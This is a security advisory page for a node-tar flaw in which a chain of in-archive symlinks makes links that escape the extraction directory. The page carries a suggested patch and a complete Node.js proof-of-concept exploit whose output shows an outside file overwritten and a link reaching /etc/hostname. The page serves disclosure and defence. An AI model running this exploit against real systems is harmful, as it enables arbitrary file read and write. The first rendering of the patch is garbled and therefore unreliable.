GHSA-4PF9-5FPX-XMR6

Vulnerability from github – Published: 2026-12-02 00:57 – Updated: 2026-12-02 00:57
VLAI
Summary
node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain
Details

Summary

Summary With default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README's listed protection that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder."

This is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.

Details

x/ Directory x/y -> .. (resolves to cwd: allowed) l -> x/y/../secret.txt (checked as cwd/x/secret.txt; really cwd/../secret.txt)

  • [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.
  • [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.
  • [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.

Repeating the x/y/ step reaches any absolute path: x/y/ × 8 followed by ../ × 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.

This is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 ("Allow unpacking symlinks that don't escape cwd") in 7.5.5. Versions ≤ 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.

Suggested fix

Create the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):

--- a/src/unpack.ts +++ b/src/unpack.ts @@ -651,7 +651,23 @@ export class Unpack extends Parser { entry, this.cwd, parts, - () => thisLINK, + // Create the symlink with the same lexically-normalized target that + // [STRIPABSOLUTEPATH] validated. Writing the raw linkpath would let a + // .. segment follow a component that is (or later becomes) a symlink + // in the extraction dir, e.g. x/y -> .. plus l -> x/y/../secret, + // which normalizes to the in-bounds x/secret but really resolves + // outside cwd. + () => + thisLINK, er => { thisONERROR done()

It was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.

Proof of concept

Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.

const fs = require('fs') const path = require('path') const tar = require(path.resolve(process.argv[2])) const work = path.resolve(process.argv[3]) fs.rmSync(work, { recursive: true, force: true }) const cwd = path.join(work, 'extract') fs.mkdirSync(cwd, { recursive: true }) const secret = path.join(work, 'secret.txt') // outside the extraction dir fs.writeFileSync(secret, 'ORIGINAL\n')

const entries = [ { path: 'x/', type: 'Directory' }, { path: 'x/y', type: 'SymbolicLink', linkpath: '..' }, { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' }, { path: 'deep', type: 'SymbolicLink', linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' }, ] const blocks = [] for (const e of entries) { const b = Buffer.alloc(512) new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0) blocks.push(b) } blocks.push(Buffer.alloc(1024)) const tarFile = path.join(work, 'poc.tar') fs.writeFileSync(tarFile, Buffer.concat(blocks))

const run = async (sync) => { fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd) fs.writeFileSync(secret, 'ORIGINAL\n') const warns = [] const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) } if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts) console.log(--- tar.x({cwd, file${sync ? ', sync:true' : ''}})) console.log('warnings:', warns.length ? warns : 'none') console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l'))) console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l'))) console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep'))) fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n') console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8'))) } run(false).then(() => run(true))

Output on tar 7.5.23, Node 22.23.4, Linux:

--- tar.x({cwd, file}) warnings: none readlink l -> x/y/../secret.txt realpath l -> /secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n" --- tar.x({cwd, file, sync:true}) warnings: none readlink l -> x/y/../secret.txt realpath l -> /secret.txt realpath deep -> /etc/hostname secret.txt now -> "PWNED\n"

Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').

Impact

An attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.

Applications that follow the README's advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.5.5"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-140249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-02T00:57:44Z",
    "nvd_published_at": "2026-12-01T18:17:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSummary\nWith default options, tar.x() in tar 7.5.5 through 7.5.23 (the latest release) creates a symbolic link that points outside the extraction directory, and raises no warning. The archive needs only a directory and two symlinks. This breaks the README\u0027s listed protection that \"Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder.\"\n\nThis is not the TOCTOU case (no one but tar touches the extraction folder) and not an old version: it reproduces on 7.5.23 and on main (eb92e17), with default options.\n\n### Details\n\nx/        Directory\nx/y   -\u003e  ..                    (resolves to cwd: allowed)\nl     -\u003e  x/y/../secret.txt     (checked as cwd/x/secret.txt; really cwd/../secret.txt)\n\n\n - [STRIPABSOLUTEPATH] validates the lexically normalized linkpath, x/secret.txt, which is inside cwd.\n - [SYMLINK] runs ENSURE_NO_SYMLINK on path.resolve(...) of the linkpath, which also removes y/.. before checking, so it never sees that x/y is a symlink.\n - [LINK] then creates the link with the raw linkpath, x/y/../secret.txt. The kernel resolves x/y first (to cwd), then applies .., so l points to cwd/../secret.txt.\n\nRepeating the x/y/ step reaches any absolute path: x/y/ \u00d7 8 followed by ../ \u00d7 16 and etc/hostname fits in the 100-byte ustar linkpath field and points at /etc/hostname. Entry order does not matter; the link can come before or after x/y.\n\nThis is the same chain as the proof of concept in GHSA-83g3-92jg-28cx (CVE-2026-26960). That fix blocked the hardlink created through the chain; the symlink itself is still created. 7.5.3 and 7.5.4 reject it (they refused any .. in a linkpath); the regression came with the relaxation in #450 (\"Allow unpacking symlinks that don\u0027t escape cwd\") in 7.5.5. Versions \u2264 7.5.2 also create the link but are already covered by GHSA-8qq5-rm4j-mr97.\n\n\nSuggested fix\n\nCreate the symlink with the same normalized target that [STRIPABSOLUTEPATH] validated, instead of the raw linkpath. Patch against main (eb92e17):\n\n--- a/src/unpack.ts\n+++ b/src/unpack.ts\n@@ -651,7 +651,23 @@ export class Unpack extends Parser {\n       entry,\n       this.cwd,\n       parts,\n-      () =\u003e this[LINK](entry, String(entry.linkpath), \u0027symlink\u0027, done),\n+      // Create the symlink with the same lexically-normalized target that\n+      // [STRIPABSOLUTEPATH] validated.  Writing the raw linkpath would let a\n+      // `..` segment follow a component that is (or later becomes) a symlink\n+      // in the extraction dir, e.g. `x/y -\u003e ..` plus `l -\u003e x/y/../secret`,\n+      // which normalizes to the in-bounds `x/secret` but really resolves\n+      // outside cwd.\n+      () =\u003e\n+        this[LINK](\n+          entry,\n+          this.preservePaths ?\n+            String(entry.linkpath)\n+          : path.posix.normalize(\n+              normalizeWindowsPath(String(entry.linkpath)),\n+            ),\n+          \u0027symlink\u0027,\n+          done,\n+        ),\n       er =\u003e {\n         this[ONERROR](er, entry)\n         done()\n\n\nIt was created as x/secret.txt and stays inside cwd. There is also a regression test, test/symlink-chain-escape.ts, covering both entry orders with async and sync extraction: it fails on main and passes with the patch. The full suite passes with the patch (tap: 21,254 of 21,254). An adjusted approach for example, could be resolving each linkpath component against the extraction tree instead of normalizing lexically, preserving link targets byte-for-byte but at more cost.\n\n\n\n\n\n### Proof of concept\n\nSave as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar\u0027s own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.\n\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(path.resolve(process.argv[2]))\nconst work = path.resolve(process.argv[3])\nfs.rmSync(work, { recursive: true, force: true })\nconst cwd = path.join(work, \u0027extract\u0027)\nfs.mkdirSync(cwd, { recursive: true })\nconst secret = path.join(work, \u0027secret.txt\u0027)          // outside the extraction dir\nfs.writeFileSync(secret, \u0027ORIGINAL\\n\u0027)\n\nconst entries = [\n  { path: \u0027x/\u0027, type: \u0027Directory\u0027 },\n  { path: \u0027x/y\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027..\u0027 },\n  { path: \u0027l\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027x/y/../secret.txt\u0027 },\n  { path: \u0027deep\u0027, type: \u0027SymbolicLink\u0027,\n    linkpath: \u0027x/y/\u0027.repeat(8) + \u0027../\u0027.repeat(16) + \u0027etc/hostname\u0027 },\n]\nconst blocks = []\nfor (const e of entries) {\n  const b = Buffer.alloc(512)\n  new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)\n  blocks.push(b)\n}\nblocks.push(Buffer.alloc(1024))\nconst tarFile = path.join(work, \u0027poc.tar\u0027)\nfs.writeFileSync(tarFile, Buffer.concat(blocks))\n\nconst run = async (sync) =\u003e {\n  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)\n  fs.writeFileSync(secret, \u0027ORIGINAL\\n\u0027)\n  const warns = []\n  const opts = { cwd, file: tarFile, onwarn: (c, m) =\u003e warns.push(c + \u0027 \u0027 + m) }\n  if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)\n  console.log(`--- tar.x({cwd, file${sync ? \u0027, sync:true\u0027 : \u0027\u0027}})`)\n  console.log(\u0027warnings:\u0027, warns.length ? warns : \u0027none\u0027)\n  console.log(\u0027readlink l      -\u003e\u0027, fs.readlinkSync(path.join(cwd, \u0027l\u0027)))\n  console.log(\u0027realpath l      -\u003e\u0027, fs.realpathSync.native(path.join(cwd, \u0027l\u0027)))\n  console.log(\u0027realpath deep   -\u003e\u0027, fs.realpathSync.native(path.join(cwd, \u0027deep\u0027)))\n  fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n  console.log(\u0027secret.txt now  -\u003e\u0027, JSON.stringify(fs.readFileSync(secret, \u0027utf8\u0027)))\n}\nrun(false).then(() =\u003e run(true))\n\n\nOutput on tar 7.5.23, Node 22.23.4, Linux:\n\n--- tar.x({cwd, file})\nwarnings: none\nreadlink l      -\u003e x/y/../secret.txt\nrealpath l      -\u003e \u003cworkdir\u003e/secret.txt\nrealpath deep   -\u003e /etc/hostname\nsecret.txt now  -\u003e \"PWNED\\n\"\n--- tar.x({cwd, file, sync:true})\nwarnings: none\nreadlink l      -\u003e x/y/../secret.txt\nrealpath l      -\u003e \u003cworkdir\u003e/secret.txt\nrealpath deep   -\u003e /etc/hostname\nsecret.txt now  -\u003e \"PWNED\\n\"\n\nSame result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains \u0027..\u0027).\n\n\n\n\n\n### Impact\n\nAn attacker who supplies a tarball can make tar.x() with default options leave symlinks inside the extraction directory that point to any path on the system. tar itself does not write through them, but any later read or write of the extracted files by the application follows them: the PoC overwrites a file outside the extraction directory and resolves a link to /etc/hostname. This gives arbitrary file read and write as the extracting user, the same impact as GHSA-83g3-92jg-28cx and GHSA-9ppj-qmqm-q256.\n\nApplications that follow the README\u0027s advice to filter out link entries for untrusted input are not affected; npm itself filters links from package artifacts.",
  "id": "GHSA-4pf9-5fpx-xmr6",
  "modified": "2026-12-02T00:57:45Z",
  "published": "2026-12-02T00:57:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-4pf9-5fpx-xmr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.